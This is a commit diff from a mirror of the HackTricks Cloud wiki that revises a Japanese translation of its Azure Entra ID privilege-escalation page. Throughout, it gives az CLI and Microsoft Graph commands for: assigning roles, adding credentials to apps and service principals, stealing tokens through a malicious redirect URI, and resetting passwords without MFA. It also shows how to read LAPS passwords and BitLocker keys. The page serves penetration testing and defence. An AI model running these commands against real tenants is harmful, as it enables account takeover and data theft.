gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-06-12 19:11:44 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-05-03 08:50:53 +00:00
parent 997a75ddc9
commit 9c79724523
1 changed files with 60 additions and 46 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+60 -46
View File
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> 注意: Entra ID の組み込みロールが持つ **すべての細かな権限が** **カスタムロールで使用できるわけではない** ことに注意してください。
> **すべての granular permissions** が Entra ID の built-in roles に含まれていても、**custom roles で使用できるとは限らない**ことに注意してください。
## ロール
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
このロールは、プリンシパルにロールを割り当てたり、ロールにさらに権限を付与したりするために必要な細かな権限を含んでいます。どちらの操作も悪用されて権限昇格に繋がる可能性があります。
この role には、principals に roles を割り当てるため、また roles により多くの permissions を付与するために必要な granular permissions が含まれています。これらの両方の action は、privileges を escalate するために abuse される可能性があります。
- ユーザーにロールを割り当てる:
- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- ロールに権限を追加する:
- role に追加の permissions を付与する:
```bash
# List only custom roles
az rest --method GET \
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
## アプリケーション
## Applications
### `microsoft.directory/applications/credentials/update`
これにより攻撃者は既存のアプリケーションに**資格情報を追加する**（パスワードまたは証明書）ことができます。もしそのアプリケーションが特権的な権限を持っている場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。
これにより、攻撃者は既存のapplicationに**credentialsを追加**（passwords または certificates）できます。application に特権 permissions がある場合、攻撃者はその application として認証し、それらの privileges を得られます。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
これは `applications/credentials/update` と同じ操作を許可しますが、単一ディレクトリのアプリケーションに限定されています。
これは `applications/credentials/update` と同じ操作を許可しますが、単一ディレクトリのアプリケーションにスコープされています。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
自分自身をオーナーとして追加することで、attacker はアプリケーションを操作でき、credentials や permissions を含む変更が可能になります。
自分自身を owner に追加することで、攻撃者は credentials や permissions を含む application を操作できます。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
攻撃者は、テナントのユーザーが利用している application に redirect URI を追加し、その新しい redirect URI を使った login URLs をユーザーと共有することで、彼らの tokens を盗むことができます。ユーザーが既にその application にログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
攻撃者は、テナントのユーザーが使用しているアプリケーションに redirect URI を追加し、その新しい redirect URL を使う login URLs をユーザーに共有することで、token を盗むことができます。なお、ユーザーがすでにその application に logged in していた場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
また、application が要求する permissions を変更してより多くの権限を得ることも可能ですが、その場合はユーザーがすべての permissions を要求するプロンプトを再度承認する必要がある点に注意してください。
また、application が要求する permissions を変更して、より多くの permissions を取得することも可能です。ただしこの場合、ユーザーはすべての permissions を求める prompt を再度 accept する必要があります。
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### アプリケーションの権限昇格
### Applications Privilege Escalation
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** デフォルトのアプリケーションに **API permissions** の型 **`Application`** が割り当てられていることは非常に一般的でした。API Permission（Entra IDコンソールでの呼称）が **`Application`** 型であるということは、そのアプリケーションがユーザーコンテキスト（アプリにユーザーがログインしている必要はありません）なしでAPIにアクセスして操作を実行でき、Entra IDのロールを必要としないことを意味します。したがって、**ほとんどの Entra ID テナントで高権限のアプリケーションを見つけることは非常に一般的です。**
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、**`Application`** 型の **API permissions** を割り当てられたデフォルトアプリケーションが見つかることは非常に一般的でした。`Application` 型の API Permission（Entra ID コンソールでの呼称）は、そのアプリケーションがユーザーコンテキストなしで（アプリへのユーザーログインなしで）、かつ Entra ID roles による許可も必要とせずに API にアクセスして操作を実行できることを意味します。したがって、**各 Entra ID tenant で高権限のアプリケーションが見つかることは非常に一般的**です。
もし攻撃者がアプリケーションの **update the credentials (secret o certificate) of the application** を許す任意の権限／ロールを持っている場合、攻撃者は新しい認証情報を生成してそれを使い、**アプリケーションとして認証**することで、そのアプリケーションが持つすべての権限を取得できます。
その後、攻撃者がアプリケーションの credential（secret または certificate）を**更新できる**任意の permission/role を持っている場合、攻撃者は新しい credential を生成し、それを使って**アプリケーションとして認証**し、そのアプリケーションが持つすべての permissions を取得できます。
なお、前述のブログは一般的な Microsoft デフォルトアプリケーションのいくつかの **API permissions** を共有していますが、この報告の後、Microsoft はこの問題を修正し、現在では Microsoft アプリケーションとしてログインすることはできなくなっています。それでも、悪用可能な **高権限を持つ custom applications** を見つけることは依然として可能です。
上述のブログでは一般的な Microsoft デフォルトアプリケーションのいくつかの **API permissions** が共有されていますが、この報告のしばらく後に Microsoft はこの問題を修正し、現在では Microsoft アプリケーションとして login することはできません。しかし、**悪用可能な高権限の custom applications** を見つけることは今でも可能です。
アプリケーションの API permissions を列挙する方法：
アプリケーションの API permissions を列挙する方法:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>すべてのアプリケーションの API 権限を見つけ、Microsoft 所有の API をマークする</summary>
<summary>すべてのアプリケーション API 権限を見つけ、Microsoft 所有の API をマークする</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -237,31 +237,31 @@ done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## サービスプリンシパル
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルが昇格した権限を持っている場合、攻撃者はその権限を取得して行使できるようになります。
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された privileges がある場合、攻撃者はそれらの privileges を引き継ぐことができます。
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 新しく生成されたパスワードは web console に表示されないため、service principal に対する persistence を維持するステルスな方法になり得ます。\
> API からは次のように見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> 新しく生成された password は web console には表示されないため、service principal を永続化する stealth な方法になり得ます。\
> API では次のようにして見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **SP の passwordCredentials プロパティを変更することができない** ためで、まずそれをアンロックする必要があります。For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
これにより、attacker は既存の service principals に対して認証情報を追加できます。service principal が elevated privileges を持っている場合、attacker はそれらの権限を assume できます。
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された privileges がある場合、攻撃者はそれらの privileges を引き継ぐことができます。
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
applications と同様に、この権限は service principal にさらに owners を追加することを可能にします。service principal を所有することで、その credentials と permissions を制御できます。
applications と同様に、この権限を使うと service principal に追加の owner を追加できます。service principal を所有すると、その credentials と permissions を制御できます。
```bash
# Add new owner
spId="<spId>"
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE メソッドがサポートされていないと応答しました（owner を削除するには DELETE が必要なメソッドです）。したがって **現在は owners を削除できません**。
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE method がサポートされていないと応答しました。削除するにはその method を使う必要があるにもかかわらずです。つまり、**現在は owner を削除できません**。
### `microsoft.directory/servicePrincipals/disable` と `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
これらの permissions は service principals を disable および enable することを許可します。attacker はこの permission を使って、何らかの方法でアクセスできるようになった service principal を enable し、escalate privileges するために利用する可能性があります。
これらの permissions は service principals を disable および enable することを許可します。attacker はこの permission を使って、何らかの方法でアクセスできる service principal を enable し、privileges を escalate できる可能性があります。
この technique では、attacker が enabled service principal を take over するために、さらに多くの permissions が必要になることに注意してください。
この technique では、enable した service principal を takeover するために、attacker がさらに多くの permissions を必要とすることに注意してください。
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
これらの権限は single sign-on 用の資格情報を作成および取得できるようにし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
これらの権限により、single sign-on の credentials を作成および取得でき、third-party applications へのアクセスが可能になる場合があります。
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -317,7 +317,7 @@ az rest --method POST \
```
---
## グループ
## Groups
### `microsoft.directory/groups/allProperties/update`
@@ -325,11 +325,11 @@ az rest --method POST \
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**注**: この権限は Entra ID のロール割り当て可能なグループを除外します。
**Note**: この権限は Entra ID role-assignable groups を除外します。
### `microsoft.directory/groups/owners/update`
この権限により、グループのオーナーになることができます。グループのオーナーはグループのメンバーシップや設定を管理でき、結果としてグループに対する権限を昇格させる可能性があります。
この権限により、groups の owner になることができます。group の owner は group membership と settings を制御でき、結果として group への privileges escalation につながる可能性があります。
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -338,13 +338,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで elevated access を得る可能性があります。
この権限により、group に members を追加できます。攻撃者は、自分自身や悪意のある accounts を privileged groups に追加することで、elevated access を得られます。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
この権限により、動的グループのメンバーシップルールを更新できます。攻撃者は動的ルールを変更し、明示的な追加なしに自身を特権グループに含めることができます。
この権限により、dynamic group の membership rule を更新できます。攻撃者は dynamic rule を変更して、明示的に追加されることなく自分自身を特権グループに含めることができます。
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,11 +355,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**注意**: この権限は Entra ID role-assignable groups を除外します。
**Note**: この権限は Entra ID role-assignable groups を除外します。
### Dynamic Groups Privesc
ユーザーが自身のプロパティを変更して dynamic groups のメンバーに追加されることで権限を昇格できる可能性があります。詳細は次を参照してください:
ユーザーが自分自身のプロパティを変更して dynamic groups のメンバーとして追加され、権限昇格できる可能性があります。詳細は以下を確認してください:
{{#ref}}
dynamic-groups.md
@@ -369,13 +369,27 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
この権限により非管理者ユーザーのパスワードをリセットできるため、潜在的な攻撃者が他のユーザーへ権限を昇格させる可能性があります。この権限はカスタム ロールに割り当てることはできません。
この権限により、非 admin ユーザーの password を reset できるため、攻撃者が他のユーザーへ privilege escalation する可能性があります。この権限は custom roles には割り当てられません。
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
```
### `microsoft.directory/users/basic/update`
この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループが見つかることが多いため、この権限によりユーザーが特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させる可能性があります。
この権限により、ユーザーのプロパティを変更できます。プロパティ値に基づいてユーザーを追加する dynamic groups を見つけるのは一般的であるため、この権限があれば、ユーザーは特定の dynamic group のメンバーになるために必要なプロパティ値を設定でき、privileges を escalate できる可能性があります。
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -391,19 +405,19 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Conditional Access ポリシー & MFA bypass
## Conditional Access Policies & MFA bypass
MFAを要求する設定ミスのあるConditional Access ポリシーはバイパスされる可能性があります。確認してください:
誤設定された MFA を要求する conditional access policies は bypass される可能性があります。確認してください:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## デバイス
## Devices
### `microsoft.directory/devices/registeredOwners/update`
この権限により攻撃者は自分自身をデバイスの所有者として割り当て、デバイス固有の設定やデータへのアクセスや制御を得ることができます。
この permission により、攻撃者はデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの control や access を得ることができます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -414,7 +428,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
この権限により、attackers が自分のアカウントをデバイスに紐付けてアクセスを取得したり、セキュリティポリシーを回避したりできます。
この権限により、攻撃者は自分のアカウントをデバイスに関連付けてアクセスを得たり、セキュリティポリシーをバイパスしたりできます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -425,7 +439,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
この権限により、攻撃者は Microsoft Entra に参加しているデバイスのバックアップされたローカル管理者アカウント credentials のプロパティ（password を含む）を読み取ることができます。
この権限により、攻撃者は Microsoft Entra joined devices のバックアップされたローカル管理者アカウント資格情報のプロパティを読み取ることができます。これには password が含まれます
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -440,7 +454,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
この権限は BitLocker keys へのアクセスを許可し、attacker が drives を decrypt してデータの機密性を侵害する可能性があります。
この権限により BitLocker keys にアクセスできます。これにより、攻撃者がドライブを復号できる可能性があり、データの機密性が損なわれます。
```bash
# List recovery keys
az rest --method GET \